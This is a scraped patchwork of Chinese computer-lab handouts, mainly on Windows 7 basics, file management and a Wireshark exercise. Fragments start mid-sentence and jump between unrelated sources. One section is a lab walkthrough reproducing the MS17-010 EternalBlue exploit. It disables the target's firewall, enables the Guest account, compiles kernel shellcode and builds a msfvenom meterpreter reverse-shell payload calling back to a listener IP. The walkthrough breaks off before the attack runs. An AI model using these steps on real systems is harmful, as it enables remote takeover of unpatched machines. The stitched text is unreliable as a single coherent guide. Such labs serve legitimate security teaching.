实验1 Windows 7的基本操作
计算机应用基础(校编教材)教案：第二章 Windows 7操作系统02
件夹相当于 MS DOS 和 Windows 3.x 中的目录。
2）．文件和文件夹的命名规则
（1）在文件名或文件夹名中最多可以有 255 个字符。
（2）一般每个文件都有 3 个字符的扩展名，用以标识文件类型和创建此文件的程序。
第三讲、磁盘操作（1 学时）1、查看磁盘属性 在“我的电脑”或“资源管理器”的窗口中，欲了解某磁盘的有关信息，可从其快捷
菜单中选择“属性”或选定某磁盘后从“文件”菜单中选择“属性”命令，在出现的磁盘属
4
性窗口中选“常规”选项卡，就可以了解磁盘的卷标（可在此修改卷标）、类型、采用 的文件系统以及磁盘 2、磁盘格式化 所有磁盘必须格式化才能使用，对于使用过的磁盘有时也有必要重新格式化。
6)、移动操作快捷操作方式：
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选取操作对象。指向选取对象单击鼠标右键，选择“剪切”。 选取目标文件夹。单击鼠标右键，选择“粘贴”。 拖放操作方式：
选取操作对象。 鼠标指向选取的对象。 按住鼠标左键不放，拖动鼠标到目标文件夹后释放。
7）、删除操作快捷操作方式： 选取操作对象。 指向选取对象单击鼠标右键，选择“删除”。 在弹出“确认文件删除”对话框中，选择“是” 。
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教学后记 该节内容理论 2 学时，内容相当紧张。 实验 2 学时，也感觉不够用。
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1）启动应用程序的方法
方法一：[开始][程序][……]，单击应用程序项 。 方法二：双击桌面上的图标。 方法三：从“资源管理器”或“我的电脑”窗口中启动。 方法四：从[开始][运行]中启动。
2）退出应用程序的方法 方法一：单击应用程序窗口右上角的“关闭”按钮 。 方法二：在窗口中选择[文件][退出]。 方法三：双击应用程序的控制菜单栏。 方法四：按<ALT>+<F4> 。
计算机网络实验报告(6篇)
计算机网络实验报告（6篇）计算机网络实验报告（通用6篇）计算机网络实验报告篇1一、实验目的1、熟悉微机的各个部件；2、掌握将各个部件组装成一台主机的方法和步骤；3、掌握每个部件的安装方法；4、了解微型计算机系统的基本配置；5、熟悉并掌握DOS操作系统的使用；6、掌握文件、目录、路径等概念；7、掌握常用虚拟机软件的安装和使用；8、熟悉并掌握虚拟机上WINDOWS操作系统的安装方法及使用；9、掌握使用启动U盘的制作和U盘安装windows操作系统的方法；10、了解WINDOWS操作系统的基本配置和优化方法。
二、实验内容1.将微机的各个部件组装成一台主机；2.调试机器，使其正常工作；3.了解计算机系统的基本配置。
4.安装及使用虚拟机软件；5.安装WINDOWS7操作系统；6.常用DOS命令的使用；7.学会制作启动U盘和使用方法；8.WINDOWS7的基本操作；9.操作系统的基本设置和优化。
三、实验步骤（参照实验指导书上的内容，结合实验过程中做的具体内容，完成此项内容的撰写）四、思考与总结（写实验的心得体会等）计算机网络实验报告篇2windows平台逻辑层数据恢复一、实验目的：通过运用软件R-Studio_5.0和winhe_对误格式化的硬盘或者其他设备进行数据恢复，通过实验了解windows平台逻辑层误格式化数据恢复原理，能够深入理解并掌握数据恢复软件的使用方法，并能熟练运用这些软件对存储设备设备进行数据恢复。
二、实验要求：运用软件R-Studio_5.0和winhe_对电脑磁盘或者自己的U盘中的删除的数据文件进行恢复，对各种文件进行多次尝试，音频文件、系统文件、文档文件等，对简单删除和格式化的磁盘文件分别恢复，并检查和验证恢复结果，分析两个软件的数据恢复功能差异与优势，进一步熟悉存储介质数据修复和恢复方法及过程，提高自身的对存储介质逻辑层恢复技能。
三、实验环境和设备：（1）Windows _P 或Windows 20__ Professional操作系统。
计算机应用基础实训教案
《计算机应用基础》实验指导实验名称实验2文件及文件夹的操作、控制面板的使用及系统管理目的和要求实验目的：掌握资源管理器的使用，以及文件与文件夹的操作。
实验要求：学会使用“资源管理器”对文件进行管理。
实验仪器windows2000(或XP)系统的计算机实验内容一、资源管理器的使用（1）单击“开始”菜单的右键，调出快捷菜单，从中选择“资源管理器”命令，打开“资源管理器”对话框。
（2）在“资源管理器”中查看C盘中的内容。
（3）将C盘中的文件分别采用“小图标”、“列表”、“详细资料”三种显示格式来查看其内容。
观察其变化。
（4）在“资源管理器”窗口中，单击“我的文档”图标。
在窗口的右侧将显示“我的文档”中的文件。
（5）在“我的文档”窗口中创建下列文件夹结构。
（6）在A文件夹下建立新文件H。
（7）将文件夹D改名为“tree”。
（8）将文件G复制到文件夹F中（9）删除文件C。
（10）查找扩展名为“doc”的文件，任选两个复制到H文件夹中。
（11）关闭“资源管理器”窗口。
二、掌握控制面板的使用（1）单击【开始】→【控制面板】→【日期/时间】选项，调整正确的系统日期与时间。
（2）单击【区域选项】调整日期与时间的格式。
（3）单击【显示】，设置自己喜欢的墙纸。
（4）单击【系统】，查看系统设置。
（5）关闭“控制面板”对话框。
实验步骤注意事项1、实验过程中要认真领会资源管理器的功能及作用2、文件及文件夹的操作要熟练，并能按要求完成操作3、控制面板的使用设置要基本熟练，部分功能需逐步理解实验名称实验7 文档格式设置、文档排版目的和要求掌握字符格式化和段落格式化的方法，掌握页面设置、页眉和页脚、边框和底纹的设置方法。
实验仪器windows系统和安装Word的计算机实验内容一、格式化操作（1）在Word应用程序中新建一个文档，文件名为W2.DOC。
（2）按样文录入下列文字：（3）设置标题：隶书、三号、波浪线、居中对齐、段后间距1行。
计算机基础及应用(文)课程标准
《大学计算机基础》课程标准（文科）课程编号：07010101总学时数：120学时（第一学期90学时（理论36学时，实验34学时，自主上机20学时），第二学期30学时自主上机）学分：7学分（第一学期4学分，第二学期3学分）一．课程的性质、目的和要求大学计算机基础课程是一门全院新生一年级的必修公共基础课程。
本课程旨在提高学生的信息技术素养，使学生了解信息技术在信息社会中的作用，较熟练地掌握计算机的基本使用方法，具备在计算机的单机和网络操作环境中使用应用程序的能力，并对计算机安全维护知识有一定的了解。
学生必须全面扎实地学习和掌握计算机基础知识、网络基础知识、软件工程基础知识、数据应用基础知识及其相应技能，并通过国家一级MS Office计算机应用能力等级考试。
在教学中突出本科教育的特点，以掌握技术应用为第一要素使学生“学其所用，用其所学”，同时帮助学生学会学习、学会实践、学会协作，并坚持“以学生为主体，以学生的学习为中心”，融“教、学、练”为一体，强化对学生实践动手能力的培养。
在培养学生的辩证思维和逻辑思维能力的同时加强学生的职业道德的教育，确保高层次应用型人才培养目标的实现。
二、本课程的基本内容教学具体要求是：1．了解操作系统的发展、分类、特点和功能，掌握Win 7基本操作、文件和文件夹概念和管理操作、程序管理和应用。
2．了解Word 2010、Excel 2010、PowerPoint2010的各项功能、菜单工具栏、常用工具栏和格式工具栏的使用。
掌握Word 2010文档的录入、编辑、排版操作，表格的制作、图片插入和图文混排的操作。
掌握Excel 2010数据的运算与输入、常用的工作表函数的应用、公式的输入和公式中单元格的引用；学会制作图表，数据排序、筛选、分类汇总、建立数据透视表等操作。
掌握PowerPoint2010演示文稿视图的使用、幻灯片的制作、文字编排、图片和图表插入及模板的选、幻灯片插入和删除、演示顺序的改变、幻灯片格式的设置、幻灯片放映效果的设置、多媒体对象的插入等操作。
实验2 Windows操作系统基础
2.查看硬盘,在图2-2-1中记录D盘的相关信息。
3.在C盘根目录下创建如图2-2-2所示的 三级文件夹，并完成如下操作：
（1）在桌面上，用“记事本”程序创建 文本文件t1ห้องสมุดไป่ตู้txt；然后在桌面的快捷菜单 中选择“新建”→“文本文档”命令，创 建文本文件t2.txt、t3.txt、t4.txt。四 个文件的内容任意输入。 （2）将桌面上的t1.txt复制到Ｃ： \JSJ11\Sub1\mmm中。 （３）将桌面上的t2.txt复制到Ｃ： \JSJ11\Sub2\nnn中。
（3）分别按“名称”、“类型”、“大小”、 “递增”和“递减”对Windows主目录进行排序， 观察5种排序方式的区别。 （4）选择“设置”或“取消”下列文件和文件 夹的“查看”选项，并观察两者之间的区别。 ①鼠标指向文件夹和桌面项时显示提示信息。 ②隐藏受保护的操作系统文件。 ③显示隐藏的文件、文件夹和驱动器。 ④先隐藏后显示已知文件类型的扩展名。
2.掌握磁盘管理的基本方法。
3..掌握Windows7中库的操作。
【实验内容】
1.“Windows 资源管理器”的查看与使用
（1）在桌面双击“计算机”，打开“计算 机”窗口，请仔细观察窗口。 （2）分别选择“超大图标”、“大图标”、 “中图标”、“小图标”、“列表”、“详 细信息”、“平铺”和“内容”等8种方式浏 览Windows主目录，观察各种显示方式之间的 区别。
8.启动“磁盘碎片整理程序”，分析C盘，
查看报告。
（1）碎片：（ ）%。
（2）如果时间允许，对 C盘进行碎片整理。
9.库的设置 10.库的创建
实验2 Windows7操作系统基础
实验2.1 Windows7的基本操作
计算机操作
大学计算机基础实验指导书A班2012年9月实验一windows基本操作、系统环境一、实验目的1．熟悉Windows的基本知识和基本操作。
2．熟悉Windows的程序管理。
3．熟悉“Windows资源管理器”和“我的电脑”的使用。
4．熟悉文件和文件夹的常用操作。
二、实验内容1. 认识“我的电脑”和“资源管理器”(1)双击桌面“我的电脑”图标，打开我的电脑程序，分别选用缩略图、列表、详细信息等方式浏览Windows主目录，观察各种显示方式之间的区别。
(2)右键单击“我的电脑”通过“资源管理器”查看相关程序，分别按名称、大小、文件类型和修改时间对Windows主目录进行排序，观察四种排序方式的区别。
2. 认识windows菜单栏和工具栏打开我的电脑应用程序，从上到下依次为标题栏，菜单栏和工具栏，通过相关菜单和工具按钮设置windows相关属性（如图1-1所示）。
图1-1 应用程序菜单栏和工具栏3．任务栏的设置(1) 设置任务栏为自动隐藏。
桌面最下方蓝色区域为任务栏，右键单击任务栏空白处，打开任务栏属性对话框，设置任务栏相关属性，如图1-2所示。
2) 在“开始”菜单“附件”程序组中启动“记事本”、“画图”、“计算器”等程序，通过任务栏中的按钮在相应的程序中进行切换，然后对这些窗口进行层叠、横向平铺和纵向平铺操作。
图1-2 任务栏属性设置4．桌面的设置右键单击桌面任意空白区域，弹出快捷菜单设置桌面图标的排列方式、在桌面上新建相关程序，选择“属性”，打面显示属性设置对话框，如图1-3所示，单击相关按钮进行属性设置。
(1)桌面背景选用计算中的一幅图片，并把它拉伸到整个桌面。
(2)屏幕保护程序选用“三维文字”，设置显示“计算机屏幕保护”摇摆式旋转，等待时间为1分钟。
(3)设置屏幕分辨率，如果分辨率为1024×768像素，则设置为800×600像素，反之设置为1024×768像素。
图1-3 显示属性对话框5. 屏幕和窗口复制功能的使用。
实验七 windows渗透测试-复现MS17-010漏洞
实验七-windows渗透测试-复现MS17-010漏洞目录实验七-windows渗透测试-复现MS17-010漏洞 (1)7.1 实验目的 (2)7.2 实验要求 (2)7.3 实验步骤 (2)7.3.1 环境设置 (2)7.3.2 编译Sleepya开发的内核shellcode (5)7.3.3 使用msfvenom生成一个反弹shellcode攻击的payload (6)7.3.4 合并内核shellcode和payload (6)7.3.5 设置监听 (6)7.3.6 实施攻击 (7)7.3.7 渗透成功后 (9)7.4 思考题 (9)7.1 实验目的（1）尝试windows操作系统渗透（2）了解windows漏洞的相关知识（3）复现MS17-010漏洞7.2 实验要求（1）采用windows server 2012 r2（作为靶机）和kali（作为攻击机），利用MS17-010漏洞成功渗透测试靶机。
7.3 实验步骤7.3.1 环境设置首先请关闭防火墙，如图3-1所示操作：先打开控制面板图7-1 打开控制面板然后依次选择系统和安全 -> Windows防火墙 -> 启用或关闭防火墙。
如图3-2关闭Windwos防火墙。
图7-2 关闭防火墙本实验需要在Windows server 2012中启动Guest账号，具体操作如下图所示；图7-3 打开管理工具图7-4 打开本机安全策略图7-5 本地策略-安全策略中找到账户：来宾账户状态图7-6 启用来宾账户7.3.2 编译Sleepya开发的内核shellcode把附件中的eternalblue_x64_kshellcode.asm（Sleepya开发的内核shellcode）复制进去kali中；然后如图3-7,使用NASM工具对asm代码编译，输入以下命令：nasm -f bin eternalblue_x64_kshellcode.asm图7-7 编译asm代码7.3.3 使用msfvenom生成一个反弹shellcode攻击的payload如图3-8所示，输入指令生成一个基于TCP的反弹shell，LHOST和LPORT 为本地ip和端口；msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -ometerpreter_msf.bin EXITFUNC=thread LHOST=192.168.232.148 LPORT=9090图7-8 反弹shellcode攻击的payload7.3.4 合并内核shellcode和payload如图3-9所示，输入指令：cat eternalblue_x64_kshellcode meterpreter_msf.bin > metasploit_msf.bin图7-9 合并内核shellcode和payload7.3.5 设置监听实施攻击之前，先去设置监听，在新的终端窗口中打开Metasploit（在终端输入msfconsole）；如图3-10所示，使用模块handler，设置payload为reverse_tcp，设置监听的Localhost的ip和端口，用来接受反弹的shellcode。
Windows操作系统实验
第2章Windows操作系统实验实验一Windows基本操作作业要求（1）将打开的窗口层叠，在各窗口中进行切换，并改变窗口的大小，这里要分清窗口右上角的三个按钮的作用。
注意：窗口在最小化时，程序仍在运行，单击“任务栏”窗口中的相关按钮，窗口即恢复。
（2）对菜单栏菜单、快捷菜单进行操作，注意菜单命令的各种不同形式。
（3）打开一个对话框，熟悉其中的各个操作元素。
实验二文件管理操作作业要求在Windows实验素材库建立了如图2-6所示的文件夹结构。
从相应网站下载该实验素材文件夹中的EXERCISE文件夹到D盘根目录下，完成以下操作：（1）在D盘根目录下建立如图2-7所示的文件夹结构。
（2）将EXERCISE文件夹下除TOOL以外的文件夹复制到STUDENT文件夹下。
（3）将STUDENT文件夹下的DOCUMENT文件夹下的文件移动到STUDENT1\WORD文件夹下。
（4）将ELSE文件夹重命名为WIN。
（5）删除VOICE和USER文件夹。
（6）恢复被删除的VOICE文件夹，彻底删除USER文件夹。
实验三运行程序和打开文档操作作业要求（1）选择“开始”菜单的“运行”命令运行计算器程序（Calc.exe）。
（2）选择“开始”菜单的“程序”命令运行画图程序。
（3）在“开始”菜单的“文档”中，找到一个近期使用过的文档，打开并编辑它。
（4）搜索“mspaint.exe”程序文件，并运行之。
实验四定制工作环境与计算机管理操作作业要求（1）在屏幕上找到“任务栏”窗口，将“任务栏”窗口隐藏或取消隐藏，并且改变“任务栏”窗口的大小。
（2）将自己喜爱的程序设置为屏幕保护程序。
（3）将自己喜爱的图片设置为桌面背景，并使图片平铺于桌面上。
（4）将桌面上的“我的电脑”图标拖动到任务栏的快速启动区。
（5）在桌面上创建“画图程序”的快捷方式。
实验五 Windows 2000综合练习作业要求从相应网站下载Windows实验素材文件夹中的EXERCISE文件夹到D盘根目录下，然后在EXERCISE文件夹下完成以下操作：（1）在USER文件夹下建立如下所示的文件夹结构。
2-WIN7(实验)
实验一操作系统——Windows 71.1 实验目的●查看计算机性能●更改桌面设置●任务栏的基本设置●任务的切换●“开始”菜单的设置●创建快捷方式●剪贴板的使用●文件及文件夹设置●磁盘容量和磁盘卷标●压缩和解压缩文件●命令提示符●任务管理器●设置输入法●系统帮助功能●启用Bitlocker●电源计划●文件打开方式●Indexing Service系统功能1.2 实验范例1. 查看自己所用计算机系统的性能方法一：①打开“开始菜单／控制面板”，在控制面板中选择“系统和安全”；②在“系统和安全”窗口中选择“系统”，在打开窗口中选择“Windows体验指数”；③继续选择“查看和打印详细的性能和系统信息”可以详细了解计算机系统的信息。
方法二：②选中桌面上计算机/快捷菜单/属性；②可查看计算机基本信息/选择“Windows体验指数”；③继续选择“查看和打印详细的性能和系统信息”可以详细了解计算机系统的信息。
2．更改桌面设置（1）调整屏幕分辨率及颜色质量①在桌面空白处右击鼠标，在弹出的快捷菜单中选择“屏幕分辨率”；②选择合适的屏幕分辨率，选择“高级设置”中的“监视器”选项卡；③在“颜色”下拉列表中选择一种颜色质量，一般情况下使用32位真彩色；④设置完成单击“应用”按钮，此时屏幕会出现几秒钟黑屏，稍后弹出“显示设置”对话框，单击“是”可以使设置生效。
（2）设置屏幕保护程序①在桌面空白处右击鼠标，在弹出的快捷菜单中选择“个性化”；②在“个性化”中选择“屏幕保护程序”中的“彩带”等待时间为1分钟；③查看预览效果后，点击“确定”。
（3）改变桌面背景：选用“风景”主题中的全部图片，设置以10秒间隔更换图片，并以“我的风景”主题名保存在我的主题中①在桌面空白处右击鼠标，在弹出的快捷菜单中选择“个性化”；②在“更改计算机上的视觉效果和声音”中选择“风景”主题；③选择下方的“桌面背景”链接，并设置“更改图片时间间隔”为10秒，点“保存修改”；此时自动退回上一层窗口，在“我的主题”框中出现“未保存主题”图标。
计算机网络实验
计算机网络实验 IMB standardization office【IMB 5AB- IMBK 08- IMB 2C】试验一利用wireshark抓包工具抓包一、实验名称使用网络协议分析仪 Wireshark二、实验目的1. 掌握安装和配置网络协议分析仪Wireshark的方法；2. 熟悉使用Wireshark工具分析网络协议的基本方法，加深对协议格式、协议层次和协议交互过程的理解。
三、实验内容和要求1. 安装和配置Wireshark的网络协议分析仪，下载地址。
2. 使用并熟悉Wireshark分析协议的部分功能。
四、实验环境1．Windows7 操作系统PC机器。
机器具有以太网卡一块，通过双绞线与局域网连接。
软件。
五、操作方法与实验步骤1：安装网络协议分析仪，从官网下载exe软件双击安装。
2：启用Wireshark进行试验。
：启动初始如下显示：：分组捕获数据，并将捕获的数据保存为文件抓包实验数据.pcapng，当再次需要捕获时，可以打开文件在进行实验抓包。
：对数据进行协议分析。
在上部“俘获分组的列表”窗口中，有编号(No)、时间(Time)、源地址(Source)、目的地址(Destination)、协议(Protocol)、长度(Length)和信息(Info)等列(栏目)，各列下方依次排列着俘获的分组。
中部“所选分组首部的细节信息”窗口给出选中帧的首部详细内容。
下部“分组内容”窗口中是对应所选分组以十六进制数和 ASCII 形式的内容。
无线网连接抓包实验数据如下图1本地连接网页抓包实验数据如下图2图 1图 2六、实验数据记录和结果分析1：网络抓包实验获取的数据如下图3图 32：使用过滤器过滤数据比如以下图4中的Time=4 作为过滤条件，可以将图2过滤为图三，如果你需要符合某些条件的数据，这种方案可以分组，减少数据量，因此可以提高效率。
图 4七、实验体会、质疑和建议1：通过使用抓包实验工具基本上掌握了有关网络的一些协议，然后接下来的实验依次对实验的数据进行分析，对协议进行分析，然后分析网络中的五层结构进行探究。
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实验1 Windows 7的基本操作1.1 实验目的1．熟悉Windows 7的启动和退出2．掌握图标、菜单、窗口、对话框的基本操作3．掌握快捷方式的创建方法4．掌握文件和文件夹的搜索。
1.2 实验内容1．Windows 7的启动与退出2．调整桌面图标3．任务栏属性设置4．窗口的基本操作5．对话框的操作6．创建快捷方式7．文件和文件夹的搜索1.3 实验操作步骤1.3.1 Windows 7的启动与退出1．Windows 7的启动打开要使用的外部设备（显示器、打印机、音箱，等）电源开关，按下计算机主机电源开关，系统开始检测内存、硬盘等设备，然后自动进入Windows 7的启动过程。
若计算机设置了多个用户，会出现多用户欢迎界面。
根据屏幕提示输入某用户名及密码，进入到Windows 7的桌面。
若为单用户，则直接进入到Windows 7的桌面。
2．Windows 7的退出关闭所有打开的应用程序窗口。
单击任务栏左边”开始”菜单，在弹出的菜单中单击“关机”命令，计算机将自动关机。
也可以单击“关机”命令右边的三角按钮选择其他的系统命令，例如切换用户、注销、重新启动等实现相应操作，如图1-1所示。
图1-1 “关闭Windows”操作1.3.2 调整桌面图标1．移动单个图标用鼠标左键单击某个图标并拖动鼠标到桌面任意位置，释放鼠标。
2．移动矩形框所包含的多个图标先选定要移动的多个图标（用鼠标在桌面上拖出一个矩形框，包含的图标为选中的图标），再拖动鼠标到桌面任意位置，释放鼠标。
3．显示图标右击桌面空白处，在弹出的快捷菜单中选择“查看”→“大图标”、“中等图标”或“小图标”命令，观察操作后的结果。
弹出的快捷菜单如图1-2所示。
4．排列图标右击桌面空白处，在弹出的快捷菜单中选择“排序方式”→“名称”、“项目类型”、“大小”或“修改日期”命令，观察操作后的结果。
弹出的快捷菜单如图1-3所示。
图1-2 桌面图标调整菜单项图1-3 桌面图标排列方式菜单项5．保持桌面现状右击桌面空白处，在弹出的快捷菜单中选择“查看”→“自动排列图标”命令。
此命令表示对图标的其他调整（如移动）将失效。
6．显示/隐藏桌面右击桌面空白处，在弹出的快捷菜单中选择“查看”→“显示桌面图标”命令，则隐藏桌面上的所有图标，显示为一片空白。
再单击“显示桌面图标”命令，则恢复显示。
7．显示/隐藏桌面小工具右击桌面空白处，在弹出的快捷菜单中选择“查看”→“显示桌面小工具”命令，可实现桌面小工具的显示或隐藏，此操作的前提是桌面上已显示有小工具。
1.3.3 任务栏属性设置1．向任务栏中添加工具右击任务栏空白处，在弹出的快捷菜单中选择“工具栏”，然后选择要添加的工具（如选择“地址”，则“地址”工具栏将出现在任务栏中）或单击“新建工具栏”以选择某个项目添加到任务栏中。
2．锁定及解锁“任务栏”中的快速启动程序图标选定某应用程序图标，直接拖到任务栏的快速启动区域（同时会出现提示“附到任务栏”，表示添加到任务栏上），释放鼠标；如果程序正在运行，则右击“任务栏”中的程序图标，单击“将此程序锁定到任务栏”即可。
如果需要去掉某个快速启动图标，则右击该图标，在弹出的快捷菜单中选择“将此程序从任务栏解锁”命令。
3．调整任务栏高度鼠标指向任务栏上边界，鼠标指针变成双向箭头时，上下拖动鼠标，即可改变任务栏的高度。
如果鼠标指向任务栏边界时，指针未出现形状，表示任务栏已锁定，可右击任务栏，在弹出的快捷菜单中单击“锁定任务栏”命令，然后再调整任务栏高度。
4．改变任务栏位置将鼠标指向任务栏的空白处（此是鼠标指针仍然是形状），拖动任务栏到屏幕的上部、左部或右部，再释放鼠标，。
若任务栏被锁定，此操作无效。
可右击任务栏，在弹出的快捷菜单中单击“锁定任务栏”命令，然后可实现此操作。
5．设置任务栏属性（1）右键单击桌面左下角的”开始”菜单，在弹出的快捷菜单中单击“属性”命令，会出现对话框，再单击“任务栏”标签。
或者右击任务栏空白处，在弹出的快捷菜单中选择“属性”选项，弹出任务栏和开始菜单“属性”对话框，如图1-4所示。
在对话框中可修改属性参数，其中，表示选中该属性，表示清除该属性。
（2）在“任务栏”选项卡中，选择“自动隐藏任务栏”，则任务栏被隐藏，但鼠标指向任务栏在屏幕上所处区域，即可再次显示任务栏；选择“锁定任务栏”，则用户不能调整任务栏；选择“使用小图标”，任务栏的应用程序图标将缩小显示。
还可以对任务栏右边的应用程序图标进行设置，单击“自定义”命令。
（3）在“任务栏”选项卡中，单击“自定义”按钮，出现如图1-5所示的“自定义”窗口。
可以隐藏或显示任务栏右侧应用程序的图标，设置完成后单击“确定”按钮。
图1-4 “任务栏和开始菜单属性”对话框图1-5 “自定义”对话框1.3.4 窗口的操作鼠标双击桌面上的“计算机”图标，出现如图1-6所示的窗口。
图1-6 “计算机”窗口1．窗口信息的浏览（1）在窗口中双击C盘图标，浏览其中的信息，双击其中要浏览的文件或文件夹，如双击文件夹“windows”，可浏览该文件夹中的所有资源。
（2）单击工具栏中的按钮，可返回到前一次浏览的文件夹或磁盘。
单击工具栏中的按钮，可返回到后一次选择的文件夹或磁盘。
（3）单击地址栏中的三角按钮，可选择同级目录。
单击地址栏中的任一目录，可定位对应目录。
2．窗口的基本操作（1）调整窗口大小分别单击标题栏右侧的最大化按钮或最小化按钮，观察窗口显示效果。
将鼠标指针指向窗口边框或窗口角，待鼠标指针变成、、、时，按住左键拖动鼠标，可调整窗口的大小。
当窗口最大化后，最大化按钮变成还原按钮，单击还原按钮可还原窗口，单击关闭按钮关闭窗口。
单击窗口标题栏左侧的“控制菜单”按钮，选择其中的“最小化”或“最大化”命令项，可以完成相应的最小化或最大化/还原及关闭窗口的操作。
（2）移动窗口将鼠标指针指向标题栏，然后按住鼠标左键将窗口拖动到合适位置释放。
当拖动到桌面顶部边缘时，窗口自动变为全屏最大化。
（3）浏览窗口信息当窗口内不能显示完所有信息时，会出现垂直滚动条或水平滚动条，此时拖动滚动条或单击滚动按钮可以浏览信息。
（4）排列窗口双击桌面图标“回收站”、“计算机”或其他应用程序，打开至少三个窗口。
鼠标右击任务栏的空白区域，在弹出的快捷菜单中分别单击“层叠窗口”或“堆叠显示窗口”或“并排显示窗口”，观察多个窗口的排列关系。
（5）窗口切换分别用以下方法在打开的“计算机”、“回收站”及应用程序窗口之间实现切换：●单击要进行操作的窗口的任意部分，该窗口即成为当前窗口。
●鼠标单击任务栏中窗口对应的应用程序任务按钮实现窗口切换。
●按键盘组合键“Alt+Tab”或者“Alt+Esc”键选择要操作的窗口实现切换。
●按住键盘上的【Win】键不放，按【Tab】键可在打开的窗口之间切换，释放【Win】键后，选中的窗口为当前活动窗口。
（6）关闭窗口分别用以下方法在关闭已打开的“计算机”、“回收站”及应用程序窗口。
●单击窗口标题栏右侧的“关闭”按钮。
●单击窗口标题栏左侧的“控制菜单”图标位置，在弹出的菜单中单击“关闭”命令。
●双击窗口标题栏左侧的“控制菜单”图标位置。
●按键盘组合键【Alt+F4】，直接关闭当前活动窗口。
●右键单击窗口在“任务栏”上对应的图标，在弹出的快捷菜单中单击“关闭窗口”命令。
3．窗口的定制（1）布局设置双击桌面上的“计算机”图标，打开“计算机”窗口后，单击菜单栏下面的“组织”→“布局”级联菜单，可以控制界面各部分显示区域。
●单击“组织”→“布局”→“菜单栏”命令，可显示/隐藏菜单栏。
●单击“组织”→“布局”→“细节窗格”命令，可显示/隐藏细节窗格。
●单击“组织”→“布局”→“预览窗格”命令，可显示/隐藏预览窗格。
●单击“组织”→“布局”→“导航窗格”命令，可显示/隐藏导航窗格。
（2）文件夹展开及折叠●在导航窗格中单击图标左侧的图标，可显示其中的子文件夹。
●在导航窗格中单击图标左侧的图标，可隐藏其中的子文件夹。
●在导航窗格中单击文件夹图标或在内容显示区中双击文件夹图标可在右侧的窗口中显示其文件夹中的所有内容。
1.3.5 对话框的操作双击桌面上的IE浏览器图标，打开浏览器窗口。
单击“工具”→“Internet选项”命令，出现如图1-7所示的对话框。
●对话框的移动：将鼠标指向标题栏并拖动鼠标到目标位置，再释放鼠标。
●对话框的关闭：单击按钮，“确定”按钮或“取消”按钮。
●帮助信息：单击按钮，将打开Windows帮助中心。
●在对话框中的移动：用鼠标可任意在对话框的各选项之间进行移动。
也可用Tab建或Shift+Tab键进行移动。
在同一组选项中，可用方向键来移动。
●执行命令：按Alr+“下划线字母”来执行相应命令。
图1-7 “Internet选项”对话框●对话框中各参数的设置。
单选按钮和复选框：单选按钮形如或，前者为没有选中，后者为选中。
复选框形如或，前者为没有选中，后者为选中。
文本框显示为一个矩形框，可输入文字或数字。
命令按钮以圆角矩形显示且带有文字说明的按钮，如。
单击命令按钮会立即执行一个命令。
列表框以矩形框形式显示列出可供选择的选项。
下拉列表框与列表框类似，只是将选项折叠起来，右侧有一个下三角按钮，单击此按钮后会弹出所有的选项。
数值框用于输入或选中一个数值，由文本框和微调按钮组成，如。
可以直接在数值框中输入数值，也可以通过后面的按钮设置数值。
1.3.6 创建快捷方式可对任何访问对象，如程序、文件、文件夹、磁盘驱动器、打印机或另一台计算机建立快捷方式，并把快捷方式放置在不同位置上，如桌面，开始菜单上或特定文件夹中。
快捷方式图标上一般带有一个箭头。
1．在桌面建立快捷方式可以用以下方法在桌面上建立快捷方式图标。
例如，在桌面上创建文件Winword.exe的快捷方式，它位于文件夹“C:\Program Files\Microsoft Office\OFFICE14”中。
（1）方法1①在桌面上双击“计算机”，在打开的窗口中依次双击驱动器图标C:，双击文件夹Program Files图标打开相应子文件夹，直到打开项目所在的子文件夹OFFICE14。
②选定要创建快捷方式的项目Winword.exe。
③右击要创建快捷方式的项目，在弹出的快捷菜单上单击“发送到”子菜单中的“桌面快捷方式”命令。
（2）方法2①打开“计算机”窗口，在打开的窗口中依次双击驱动器图标C:，双击文件夹Program Files图标打开相应子文件夹，直到打开项目所在的子文件夹OFFICE14。
②选定要创建快捷方式的项目，例如文件、程序、文件夹、打印机或计算机，这里是Winword.exe。
③单击“文件”→“发送到”→“桌面快捷方式”或单击“文件”→“创建快捷方式”命令，然后将快捷方式图标拖动到桌面上。